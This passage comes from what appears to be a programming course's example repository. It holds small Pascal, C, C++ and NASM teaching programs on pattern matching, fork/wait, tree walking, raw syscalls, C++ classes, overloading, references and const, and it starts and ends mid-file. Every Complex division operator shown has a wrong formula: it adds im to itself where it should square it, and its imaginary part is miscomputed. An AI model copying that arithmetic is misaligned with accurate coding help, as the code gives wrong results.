if i > length(p) then
MatchIdx := j > length(s)
else if p[i] = '*' then
MatchIdx := MatchIdx(p, s, i + 1, j) or
((j <= length(s)) and MatchIdx(p, s, i, j + 1))
else if (j <= length(s)) and ((s[j] = p[i]) or (p[i] = '?')) then
MatchIdx := MatchIdx(p, s, i + 1, j + 1)
else
MatchIdx := false
end;
function Match(p, s: string): boolean;
begin
Match := MatchIdx(p, s, 1, 1)
end;
begin
if ParamCount <> 2 then begin
writeln(ErrOutput, 'usage: ', ParamStr(0), ' pattern string');
halt(2)
end;
if Match(ParamStr(1), ParamStr(2)) then
writeln('yes')
else
writeln('no')
end.
select-check-process.cC / 65 lines
#include <stdio.h>
void process(FILE *f)
{
int n, sum = 0, count = 0, has_file_ended;
while (1 == fscanf(f, "%d", &n)) {
sum += n;
count++;
}
has_file_ended = feof(f);
if (!has_file_ended)
fprintf(stderr, "stopped at invalid input\n");
printf("count: %d, sum: %d\n", count, sum);
}
void process1(FILE *f)
{
int n, sum = 0, count = 0, has_file_ended, res;
res = fscanf(f, "%d", &n);
while (res == 1) {
sum += n;
count++;
res = fscanf(f, "%d", &n);
}
has_file_ended = feof(f);
if (!has_file_ended)
fprintf(stderr, "stopped at invalid input\n");
printf("count: %d, sum: %d\n", count, sum);
}
void process2(FILE *f)
{
int n, sum = 0, count = 0, has_file_ended, res;
while (1) {
res = fscanf(f, "%d", &n);
if (res != 1)
break;
sum += n;
count++;
}
has_file_ended = feof(f);
if (!has_file_ended)
fprintf(stderr, "stopped at invalid input\n");
printf("count: %d, sum: %d\n", count, sum);
}
int main(int argc, char **argv)
{
FILE *f = stdin;
if (argc > 1) {
f = fopen(argv[1], "r");
if (!f) {
perror(argv[1]);
return 1;
}
}
process2(f);
if (f != stdin)
fclose(f);
return 0;
}
side_effects.pasPascal / 15 lines
program side;
function f(x: integer) : integer;
begin
writeln(x);
f := x * x
end;
var
a: integer;
m: array [1..100] of integer;
begin
a := f(15) + 2;
m[f(5) - 3] := 7
end.
wait.cC / 41 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/wait.h>
void wait0()
{
while (wait(NULL) != -1)
{}
}
void wait1()
{
while (~wait(NULL));
}
void wait2()
{
int pid;
do {
pid = wait(NULL);
} while (pid != -1);
}
int main()
{
int pid;
pid = fork();
if (pid == 0) {
sleep(2);
printf("finished child\n");
exit(0);
}
wait2();
printf("finished parent\n");
return 0;
}
04 (09)
MakefileMake / 11 lines
PROGRAMS = paradigms
CFLAGS = -g -Wall -O0
all: $(PROGRAMS)
$(PROGRAMS): %: %.c
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
paradigms.cC / 25 lines
#include <stdio.h>
#include <stdlib.h>
int is_equal_bad(int a, int b)
{
if (a == b)
return 1;
else
return 0;
}
int is_equal_good(int a, int b)
{
return a == b;
}
int main(int argc, char **argv)
{
if (argc < 3) {
fprintf(stderr, "usage: %s <number 1> <number 2>\n", argv[0]);
return 1;
}
puts(is_equal_good(atoi(argv[1]), atoi(argv[2])) ? "yes" : "no");
return 0;
}
02 (09-04)
MakefileMake / 11 lines
PROGRAMS = keys
CFLAGS = -g -Wall -O0
all: $(PROGRAMS)
$(PROGRAMS): %: %.c
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
keys.cC / 103 lines
#include <stdio.h>
#include <stdlib.h>
struct node {
int key;
struct node *left, *right;
};
static void insert(struct node **p, int key)
{
while (*p)
p = key < (*p)->key ? &(*p)->left : &(*p)->right;
*p = malloc(sizeof(**p));
if (!*p) {
perror("malloc");
exit(1);
}
(*p)->key = key;
(*p)->left = NULL;
(*p)->right = NULL;
}
static void destroy(struct node *t)
{
if (!t)
return;
destroy(t->left);
destroy(t->right);
free(t);
}
/* automaton: in-order walk, one key per step */
enum { max_depth = 64 };
struct walker {
const struct node *stack[max_depth];
int top;
};
static void push_left(struct walker *w, const struct node *t)
{
for (; t && w->top < max_depth; t = t->left) {
w->stack[w->top] = t;
w->top++;
}
}
static void walker_init(struct walker *w, const struct node *root)
{
w->top = 0;
push_left(w, root);
}
/* no side effects: only looks at the state */
static int walker_empty(const struct walker *w)
{
return w->top == 0;
}
/* one step: returns the next key; call only if !walker_empty(w) */
static int walker_next(struct walker *w)
{
const struct node *t;
w->top--;
t = w->stack[w->top];
push_left(w, t->right);
return t->key;
}
/* pretend a network client asks for a key */
static void serve_client(struct walker *w, const char *name)
{
int key;
if (walker_empty(w)) {
printf("%s: no keys left\n", name);
return;
}
key = walker_next(w);
printf("%s gets key %d\n", name, key);
}
int main(void)
{
int keys[] = { 50, 20, 70, 10, 30 };
struct node *t = NULL;
struct walker w;
size_t i;
for (i = 0; i < sizeof(keys) / sizeof(*keys); i++)
insert(&t, keys[i]);
walker_init(&w, t);
serve_client(&w, "alice");
printf("... other work, time passes ...\n");
serve_client(&w, "bob");
serve_client(&w, "carol");
printf("... more work ...\n");
for (i = 0; i < 3; i++)
serve_client(&w, "dave");
destroy(t);
return 0;
}
10. C++ Programming / 405 filesRead chapter
01 (10)
bool.cC / 10 lines
#include <stdio.h>
int main()
{
bool b = false;
int b2 = b;
printf("%d\n", b2);
return 0;
}
constants.cC / 7 lines
#include <stdio.h>
int main()
{
printf("%ld\n", sizeof('a'));
return 0;
}
declarations.cC / 8 lines
int main()
{
int a = 0, b = 1, c;
c = a + b;
int d;
return 0;
}
null.cC / 8 lines
#include <stdlib.h>
int main()
{
int *p = NULL;
int *q = 0;
return 0;
}
struct.cC / 9 lines
struct mystruct {
int a, b;
};
int main()
{
mystruct s1;
return 0;
}
struct2.cC / 15 lines
#include <cstdio>
typedef struct mystruct {
int a, b;
} mystruct;
int main()
{
mystruct s1;
s1.a = 1;
s1.b = 2;
printf("%d %d\n", s1.a, s1.b);
return 0;
}
struct2.cppC++ / 15 lines
#include <cstdio>
typedef struct mystruct {
int a, b;
} mystruct;
int main()
{
mystruct s1;
s1.a = 1;
s1.b = 2;
printf("%d %d\n", s1.a, s1.b);
return 0;
}
struct3.cppC++ / 15 lines
#include <cstdio>
typedef struct mystruct {
int a, b;
} *mystruct;
int main()
{
mystruct s1;
s1.a = 1;
s1.b = 2;
printf("%d %d\n", s1.a, s1.b);
return 0;
}
void2.cC / 12 lines
#include <stdlib.h>
int main(void)
{
int *p = malloc(10 * sizeof(*p));
void *v = p;
int *q = v;
q[0] = 1;
free(p);
return 0;
}
02 (10)
MakefileMake / 14 lines
PROGRAMS = zero-runtime
CFLAGS = -ansi -pedantic -O2 -ffreestanding -fno-stack-protector \
-fno-pie -no-pie -nostdlib -static
all: $(PROGRAMS)
$(PROGRAMS): %: %.c
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
.PHONY: clean
zero-runtime.cC / 43 lines
__asm__(
".globl _start\n"
"_start:\n"
" xor %rbp, %rbp\n" /* end of stack frames */
" mov (%rsp), %rdi\n" /* argc */
" lea 8(%rsp), %rsi\n" /* argv */
" and $-16, %rsp\n" /* align the stack for C */
" call main\n"
" mov %rax, %rdi\n" /* exit code */
" mov $60, %rax\n" /* sys_exit */
" syscall\n"
);
static long sys_write(int fd, const char *buf, long len)
{
long ret;
__asm__ volatile ("syscall"
: "=a" (ret)
: "a" (1L), "D" ((long)fd), "S" (buf), "d" (len)
: "rcx", "r11", "memory");
return ret;
}
static long str_len(const char *s)
{
long n = 0;
while (s[n])
n++;
return n;
}
int main(int argc, char **argv)
{
int i;
for (i = 0; i < argc; i++) {
sys_write(1, argv[i], str_len(argv[i]));
sys_write(1, "\n", 1);
}
return argc - 1;
}
01 (10-03)
MakefileMake / 9 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
methods.cppC++ / 21 lines
#include <math.h>
#include <stdio.h>
struct str_complex {
double re, im;
double magnitude() { return sqrt(re*re + im*im); }
};
int main()
{
str_complex z;
double mod;
z.re = 2.7;
z.im = 3.8;
mod = z.magnitude();
printf("%f\n", mod);
return 0;
}
02 (10-03)
MakefileMake / 9 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
methods.cppC++ / 21 lines
#include <math.h>
#include <stdio.h>
struct str_complex {
double re, im;
double magnitude() { return sqrt(this->re*this->re + this->im*this->im); }
};
int main()
{
str_complex z;
double mod;
z.re = 2.7;
z.im = 3.8;
mod = z.magnitude();
printf("%f\n", mod);
return 0;
}
03 (10-03)
MakefileMake / 9 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
methods.cppC++ / 25 lines
#include <math.h>
#include <stdio.h>
struct str_complex {
private:
double re, im;
public:
void set(double a_re, double a_im)
{ re = a_re; im = a_im; }
double magnitude()
{ return sqrt(re*re + im*im); }
};
int main()
{
str_complex z;
double mod;
z.set(2.7, 3.8);
mod = z.magnitude();
printf("%f\n", mod);
return 0;
}
methods02.cppC++ / 24 lines
#include <math.h>
#include <stdio.h>
struct str_complex {
private:
double re, im;
public:
str_complex(double a_re, double a_im)
{ re = a_re; im = a_im; }
double magnitude()
{ return sqrt(re*re + im*im); }
};
int main()
{
str_complex z(2.7, 3.8);
double mod;
mod = z.magnitude();
printf("%f\n", mod);
return 0;
}
methods03.cppC++ / 21 lines
#include <math.h>
#include <stdio.h>
struct str_complex {
private:
double re, im;
public:
str_complex(double a_re, double a_im)
{ re = a_re; im = a_im; }
double magnitude()
{ return sqrt(re*re + im*im); }
};
int main()
{
double mod = str_complex(2.7, 3.8).magnitude();
printf("%f\n", mod);
return 0;
}
protection.cppC++ / 27 lines
#include <math.h>
#include <stdio.h>
struct str_complex {
private:
double re, im;
public:
str_complex(double a_re, double a_im) { re = a_re; im = a_im; }
double distance(const str_complex *other)
{
double dre = re - other->re;
double dim = im - other->im;
return sqrt(dre * dre + dim * dim);
}
void add(const str_complex *other) { re += other->re; im += other->im; }
void print() { printf("%g%+gi\n", re, im); }
};
int main()
{
str_complex a(1, 2), b(4, 6);
printf("%f\n", a.distance(&b));
a.add(&b);
a.print();
return 0;
}
04 (10-03)
MakefileMake / 9 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
protection.cppC++ / 21 lines
#include <math.h>
#include <stdio.h>
struct str_complex {
private:
double re, im;
public:
str_complex(double a_re, double a_im) { re = a_re; im = a_im; }
double get_re() { return re; }
double get_im() { return im; }
double magnitude() { return sqrt(re * re + im * im); }
double argument() { return atan2(im, re); }
};
int main()
{
str_complex a(3, 4);
printf("%g %+gi = %g\n", a.get_re(), a.get_im(), a.magnitude());
return 0;
}
protection02.cppC++ / 24 lines
#include <math.h>
#include <stdio.h>
struct str_complex {
private:
double mod, arg;
public:
str_complex(double re, double im) {
mod = sqrt(re*re + im*im);
arg = atan2(im, re);
}
double get_re() { return mod * cos(arg); }
double get_im() { return mod * sin(arg); }
double magnitude() { return mod; }
double argument() { return arg; }
};
int main()
{
str_complex a(3, 4);
printf("%g %+gi = %g\n", a.get_re(), a.get_im(), a.magnitude());
return 0;
}
protection03.cppC++ / 25 lines
#include <math.h>
#include <stdio.h>
struct str_complex {
private:
double re, im, mod, arg;
public:
str_complex(double a_re, double a_im) {
re = a_re; im = a_im;
mod = sqrt(re*re + im*im);
arg = atan2(im, re);
}
double get_re() { return re; }
double get_im() { return im; }
double magnitude() { return mod; }
double argument() { return arg; }
};
int main()
{
str_complex a(3, 4);
printf("%g %+gi = %g\n", a.get_re(), a.get_im(), a.magnitude());
return 0;
}
protection04.cppC++ / 40 lines
#include <math.h>
#include <stdio.h>
struct str_complex {
private:
double re, im, mod, arg;
public:
str_complex(double a_re, double a_im) {
re = a_re; im = a_im;
mod = sqrt(re*re + im*im);
arg = atan2(im, re);
}
double get_re() { return re; }
double get_im() { return im; }
double magnitude() { return mod; }
double argument() { return arg; }
};
/* same layout, but everything public */
struct open_complex {
double re, im, mod, arg;
};
int main()
{
str_complex a(3, 4);
double *p;
open_complex *q;
p = (double *) &a;
p[0] = 6;
p[1] = 8;
printf("%g %+gi = %g\n", a.get_re(), a.get_im(), a.magnitude());
q = (open_complex *) &a;
q->mod = 10;
printf("%g %+gi = %g\n", a.get_re(), a.get_im(), a.magnitude());
return 0;
}
05 (10-03)
MakefileMake / 9 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
classes.cppC++ / 21 lines
#include <math.h>
#include <stdio.h>
class Complex {
double re, im;
public:
Complex(double a_re, double a_im)
{ re = a_re; im = a_im; }
double GetRe() { return re; }
double GetIm() { return im; }
double Magnitude() { return sqrt(re*re + im*im); }
double Argument() { return atan2(im, re); }
};
int main()
{
Complex a(3, 4);
printf("%g %+gi = %g\n", a.GetRe(), a.GetIm(), a.Magnitude());
return 0;
}
06 (10-03)
MakefileMake / 9 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
destructors.cppC++ / 36 lines
#include <unistd.h>
#include <fcntl.h>
enum {
buf_size = 4096
};
class File {
int fd;
public:
File() { fd = -1; }
bool OpenRO(const char *name) {
fd = open(name, O_RDONLY);
return fd != -1;
}
int Read(char *buf, int size) { return read(fd, buf, buf_size); }
~File() { if (fd != -1) close(fd); }
};
int main()
{
int rc;
char buf[buf_size];
File f;
f.OpenRO("Makefile");
for (;;) {
rc = f.Read(buf, sizeof(buf));
if (rc <= 0)
break;
write(1, buf, rc);
}
return 0;
}
01 (10-04)
MakefileMake / 9 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
const.cppC++ / 12 lines
#include <cstdio>
void func(int *p) { printf("%d\n", *p); }
void func(const int *p) { printf("const %d\n", *p); }
int main()
{
int x = 20, y = 30;
func(&x);
func((const int *) &y);
return 0;
}
foo.cC / 10 lines
double foo(double a, int b)
{
return a * b;
}
int main()
{
foo(3, 1);
return 0;
}
foo.cppC++ / 10 lines
double foo(double a, int b)
{
return a * b;
}
int main()
{
foo(3, 1);
return 0;
}
hello.asmAssembly / 14 lines
global _start
extern putstr, quit
section .data
hello db 'Hello', 10, 0
section .text
_start:
push dword hello
call putstr
add esp, 4
call quit
kernel.incAssembly / 39 lines
%macro kernel 1-*
%if %0 > 1
push ebx
%endif
%rep %0
%rotate -1
push dword %1
%endrep
pop eax
%if %0 > 1
pop ebx
%if %0 > 2
pop ecx
%if %0 > 3
pop edx
%if %0 > 4
%error "Can't do syscall with more than 4 parameters"
%endif
%endif
%endif
%endif
int 80h
mov ecx, eax
and ecx, 0xfffff000
cmp ecx, 0xfffff000
jne %%ok
mov ecx, eax
neg ecx
mov eax, -1
jmp short %%end
%%ok:
xor ecx, ecx
%%end:
%if %0 > 1
pop ebx
%endif
%endmacro
module.hC / 14 lines
#ifndef MODULE_H
#define MODULE_H
#ifdef __cplusplus
extern "C" {
#endif
double foo(double a, int b);
#ifdef __cplusplus
}
#endif
#endif
overloading.cppC++ / 19 lines
#include <cstdio>
void f(const char *str)
{
printf("This is a string: %s\n", str ? str : "(null)");
}
void f(float f)
{
printf("This is a floating pointer number: %f\n", f);
}
int main()
{
f("string");
f(2.5);
// f(0);
return 0;
}
plus5.cppC++ / 15 lines
#include <cstdio>
void print(int n) { printf("%d\n", n); }
int plus5(int x) { return x + 5; }
void plus5(int *x) { *x += 5; }
int main()
{
int x = 20, y = 30;
x = plus5(x);
plus5(&y);
print(x);
print(y);
return 0;
}
print.cppC++ / 13 lines
#include <cstdio>
void print(int n) { printf("%d\n", n); }
void print(const char *s) { printf("%s\n", s); }
void print() { printf("Hello world\n"); }
int main()
{
print(50);
print("Have a nice day");
print();
return 0;
}
print02.cppC++ / 13 lines
#include <cstdio>
void print_int(int n) { printf("%d\n", n); }
void print_str(const char *s) { printf("%s\n", s); }
void print_hello() { printf("Hello world\n"); }
int main()
{
print_int(50);
print_str("Have a nice day");
print_hello();
return 0;
}
putstr.asmAssembly / 23 lines
;; putstr.asm ;;
%include "kernel.inc"
global putstr
extern strlen
section .text
putstr: ; < (string address)
push ebp
mov ebp, esp
push esi
mov esi, [ebp+8]
push esi
call strlen
add esp, 4
kernel 4, 1, esi, eax
pop esi
mov esp, ebp
pop ebp
ret
quit.asmAssembly / 6 lines
;; quit.asm ;;
%include "kernel.inc"
global quit
section .text
quit: kernel 1, 0
strlen.asmAssembly / 21 lines
;; strlen.asm ;;
global strlen
section .text
strlen: ; < (string address) > (string length)
push ebp
mov ebp, esp
mov eax, [ebp+8]
xor ecx, ecx
.lp:
cmp byte [eax+ecx], 0
je .quit
inc ecx
jmp short .lp
.quit:
mov eax, ecx
mov esp, ebp
pop ebp
ret
usec.cppC++ / 10 lines
#include <cstdio>
#include "module.h"
int main()
{
double res = foo(2, 3);
printf("%g\n", res);
return 0;
}
02 (10-04)
MakefileMake / 9 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
complex.cppC++ / 46 lines
#include <math.h>
#include <cstdio>
class Complex {
double re, im;
public:
Complex(double a_re, double a_im)
{ re = a_re; im = a_im; }
double Magnitude() { return sqrt(re*re + im*im); }
double Argument() { return atan2(im, re); }
double GetRe() { return re; }
double GetIm() { return im; }
Complex operator+(Complex op2) {
Complex res(re + op2.re, im + op2.im);
return res;
}
Complex operator-(Complex op2) {
Complex res(re - op2.re, im - op2.im);
return res;
}
Complex operator*(Complex op2) {
Complex res(re * op2.re - im * op2.im,
re * op2.im + im * op2.re);
return res;
}
Complex operator/(Complex op2) {
double dvs = op2.re * op2.re + op2.im+op2.im;
Complex res((re * op2.re + im * op2.im) / dvs,
(re * op2.im + im * op2.re) / dvs);
return res;
}
void Print() { printf("%g%+gi\n", re, im); }
};
int main()
{
Complex a(3, 4), b(2, 3);
// Complex c = a + b;
// Complex c = a.operator+(b);
// c.Print();
double m = (a + b).Magnitude();
printf("%g\n", m);
return 0;
}
03 (10-04)
MakefileMake / 9 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
complex.cppC++ / 50 lines
#include <math.h>
#include <cstdio>
class Complex {
double re, im;
public:
Complex() { re = 0; im = 0; }
Complex(double a_re, double a_im)
{ re = a_re; im = a_im; }
Complex(double a)
{ re = a; im = 0; }
double Magnitude() { return sqrt(re*re + im*im); }
double Argument() { return atan2(im, re); }
double GetRe() { return re; }
double GetIm() { return im; }
Complex operator+(Complex op2) {
Complex res(re + op2.re, im + op2.im);
return res;
}
Complex operator-(Complex op2) {
Complex res(re - op2.re, im - op2.im);
return res;
}
Complex operator*(Complex op2) {
Complex res(re * op2.re - im * op2.im,
re * op2.im + im * op2.re);
return res;
}
Complex operator/(Complex op2) {
double dvs = op2.re * op2.re + op2.im+op2.im;
Complex res((re * op2.re + im * op2.im) / dvs,
(re * op2.im + im * op2.re) / dvs);
return res;
}
void Print() { printf("%g%+gi\n", re, im); }
};
void print_complex(Complex a)
{
printf("%g%+gi\n", a.GetRe(), a.GetIm());
}
int main()
{
Complex a(9.7);
a.Print();
print_complex(3.4);
return 0;
}
05 (10-04)
MakefileMake / 9 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.c *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
find_var.cppC++ / 61 lines
#include <stdio.h>
#include <string.h>
enum { shelves = 2, per_shelf = 3 };
struct item {
const char *name;
int count;
};
struct shelf {
const char *label;
item items[per_shelf];
};
shelf store[shelves] = {
{ "fruit", { { "apple", 10 }, { "pear", 4 }, { "plum", 7 } } },
{ "veg", { { "carrot", 20 }, { "onion", 15 }, { "leek", 2 } } }
};
/* the count field of the item with this name, wherever it is */
int &find_var(const char *name)
{
static int dummy; /* returned when nothing is found */
int i, j;
for (i = 0; i < shelves; i++)
for (j = 0; j < per_shelf; j++)
if (strcmp(store[i].items[j].name, name) == 0)
return store[i].items[j].count;
dummy = 0;
return dummy;
}
void print_store()
{
int i, j;
for (i = 0; i < shelves; i++) {
printf("%-6s", store[i].label);
for (j = 0; j < per_shelf; j++)
printf(" %s=%d", store[i].items[j].name,
store[i].items[j].count);
printf("\n");
}
}
int main()
{
print_store();
int x = find_var("pear") + 5; /* read: x = 4 + 5 */
find_var("plum") = 3; /* assign: plum = 3 */
find_var("carrot") *= 10; /* carrot = 20 * 10 */
find_var("leek")++; /* leek = 2 + 1 */
int y = ++find_var("onion"); /* onion = 16, y = 16 */
printf("\nx = %d, y = %d\n\n", x, y);
print_store();
return 0;
}
max_min.cC / 45 lines
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
enum { len = 500 };
double random_number(double limit)
{
return (limit * rand() / (RAND_MAX + 1.0));
}
void init_array(float *arr, int len)
{
int i;
for (i = 0; i < len; i++)
arr[i] = random_number(100.0);
}
void max_min(float *arr, int len, float *min, float *max)
{
int i;
*min = arr[0];
*max = arr[0];
for (i = 1; i < len; i++) {
if (arr[i] < *min)
*min = arr[i];
if (arr[i] > *max)
*max = arr[i];
}
}
int main()
{
float a[len], min, max;
srand(time(NULL));
init_array(a, len);
max_min(a, len, &min, &max);
printf("%g %g\n", min, max);
return 0;
}
max_min_cpp.cppC++ / 45 lines
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
enum { len = 500 };
double random_number(double limit)
{
return (limit * rand() / (RAND_MAX + 1.0));
}
void init_array(float *arr, int len)
{
int i;
for (i = 0; i < len; i++)
arr[i] = random_number(100.0);
}
void max_min(float *arr, int len, float &min, float &max)
{
int i;
min = arr[0];
max = arr[0];
for (i = 1; i < len; i++) {
if (arr[i] < min)
min = arr[i];
if (arr[i] > max)
max = arr[i];
}
}
int main()
{
float a[len], min, max;
srand(time(NULL));
init_array(a, len);
max_min(a, len, min, max);
printf("%g %g\n", min, max);
return 0;
}
reference.cppC++ / 16 lines
#include <cstdio>
int main()
{
int i = 0;
int *p = &i;
int &r = i;
i++;
(*p)++;
r++;
printf("%d\n", r);
return 0;
}
reference02.cppC++ / 9 lines
#include <cstdio>
int main()
{
// int &r;
// printf("%d\n", r);
return 0;
}
06 (10-04)
MakefileMake / 9 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.c *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
complex.cppC++ / 50 lines
#include <math.h>
#include <cstdio>
class Complex {
double re, im;
public:
Complex() { re = 0; im = 0; }
Complex(double a_re, double a_im)
{ re = a_re; im = a_im; }
Complex(double a)
{ re = a; im = 0; }
double Magnitude() { return sqrt(re*re + im*im); }
double Argument() { return atan2(im, re); }
double GetRe() { return re; }
double GetIm() { return im; }
Complex operator+(const Complex &op2) {
Complex res(re + op2.re, im + op2.im);
return res;
}
Complex operator-(const Complex &op2) {
Complex res(re - op2.re, im - op2.im);
return res;
}
Complex operator*(const Complex &op2) {
Complex res(re * op2.re - im * op2.im,
re * op2.im + im * op2.re);
return res;
}
Complex operator/(const Complex &op2) {
double dvs = op2.re * op2.re + op2.im+op2.im;
Complex res((re * op2.re + im * op2.im) / dvs,
(re * op2.im + im * op2.re) / dvs);
return res;
}
void Print() { printf("%g%+gi\n", re, im); }
};
void print_complex(Complex a)
{
printf("%g%+gi\n", a.GetRe(), a.GetIm());
}
int main()
{
Complex a(9.7);
a.Print();
print_complex(3.4);
return 0;
}
const.cppC++ / 30 lines
#include <cstdio>
int main()
{
const char *p;
p = "A string";
// *p = 'a';
// p[5] = 'b';
printf("%s\n", p);
char buf[20];
char * const q = buf + 5;
// q++;
*q = 'a';
q[5] = 'b';
int i;
const int &r = i;
int x = r + 5;
i = 7;
// r = 12;
printf("%d\n", x);
const int j = 5;
// int &jr = j;
const int &jcr = j;
printf("%d\n", jcr);
return 0;
}
07 (10-04)
MakefileMake / 9 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.c *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
gcc.cppC++ / 23 lines
void f(const char *s); /* two overloads, */
void f(double *p); /* neither takes an int */
int g(); /* returns a plain int */
int &h(); /* returns a reference */
int main()
{
int x = 1;
const int c = 2;
int a[3];
int *p = &x;
// f(x); /* variable */
// f(c); /* const variable */
// f(a[1]); /* array element */
// f(*p); /* through a pointer */
// f(h()); /* function returning int & */
// f(x + 1); /* arithmetic */
// f(5); /* literal */
// f(g()); /* function returning int */
return 0;
}
lvalue.cppC++ / 8 lines
#include <cstdio>
int main()
{
int x = 1, y = 2, z = 3;
(x < y ? x : y) = z;
return 0;
}
lvalue_c.cC / 6 lines
int main()
{
int x = 1, y = 2, z = 3;
*(x < y ? &x : &y) = z;
return 0;
}
08 (10-04)
MakefileMake / 9 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.c *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
complex.cppC++ / 46 lines
#include <math.h>
#include <cstdio>
class Complex {
double re, im;
public:
Complex() { re = 0; im = 0; }
Complex(double a_re, double a_im) { re = a_re; im = a_im; }
Complex(double a) { re = a; im = 0; }
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
double GetRe() const { return re; }
double GetIm() const { return im; }
Complex operator+(const Complex &op2) const
{ return Complex(re + op2.re, im + op2.im); }
Complex operator-(const Complex &op2) const
{ return Complex(re - op2.re, im - op2.im); }
Complex operator*(const Complex &op2) const {
return Complex(re * op2.re - im * op2.im,
re * op2.im + im * op2.re);
}
Complex operator/(const Complex &op2) const {
double dvs = op2.re * op2.re + op2.im+op2.im;
return Complex((re * op2.re + im * op2.im) / dvs,
(re * op2.im + im * op2.re) / dvs);
}
void Print() const { printf("%g%+gi\n", re, im); }
};
void print_complex(Complex a)
{
printf("%g%+gi\n", a.GetRe(), a.GetIm());
}
void f(const Complex &p)
{
printf("%g\n", p.Magnitude());
}
int main()
{
Complex a(3, 4);
f(a);
return 0;
}
09 (10-04)
MakefileMake / 9 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.c *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
complex.cppC++ / 40 lines
#include <math.h>
#include <cstdio>
class Complex {
double re, im;
public:
Complex() { re = 0; im = 0; }
Complex(double a_re, double a_im) { re = a_re; im = a_im; }
Complex(double a) { re = a; im = 0; }
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
double GetRe() const { return re; }
double GetIm() const { return im; }
Complex operator+(const Complex &op2) const
{ return Complex(re + op2.re, im + op2.im); }
Complex operator-(const Complex &op2) const
{ return Complex(re - op2.re, im - op2.im); }
Complex operator*(const Complex &op2) const {
return Complex(re * op2.re - im * op2.im,
re * op2.im + im * op2.re);
}
Complex operator/(const Complex &op2) const {
double dvs = op2.re * op2.re + op2.im+op2.im;
return Complex((re * op2.re + im * op2.im) / dvs,
(re * op2.im + im * op2.re) / dvs);
}
void Print() const { printf("%g%+gi\n", re, im); }
};
int main()
{
Complex *p;
p = new Complex(2.4, 7.12);
p->Print();
delete p;
return 0;
}
10 (10-04)
MakefileMake / 9 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.c *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
copy.cppC++ / 23 lines
class Cls1 {
int *p;
public:
Cls1() { p = new int[20]; }
Cls1(const Cls1 &a) {
p = new int[20];
for (int i = 0; i < 20; i++)
p[i] = a.p[i];
}
~Cls1() { delete[] p; }
};
void f(Cls1 x)
{
}
int main()
{
Cls1 c;
f(c);
return 0;
}
11 (10-04)
MakefileMake / 9 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.c *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
complex.cppC++ / 43 lines
#include <math.h>
#include <cstdio>
class Complex {
double re, im;
public:
Complex() { re = 0; im = 0; }
Complex(double a_re, double a_im) { re = a_re; im = a_im; }
Complex(double a) { re = a; im = 0; }
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
double GetRe() const { return re; }
double GetIm() const { return im; }
Complex operator+(const Complex &op2) const
{ return Complex(re + op2.re, im + op2.im); }
Complex operator-(const Complex &op2) const
{ return Complex(re - op2.re, im - op2.im); }
Complex operator*(const Complex &op2) const {
return Complex(re * op2.re - im * op2.im,
re * op2.im + im * op2.re);
}
Complex operator/(const Complex &op2) const {
double dvs = op2.re * op2.re + op2.im+op2.im;
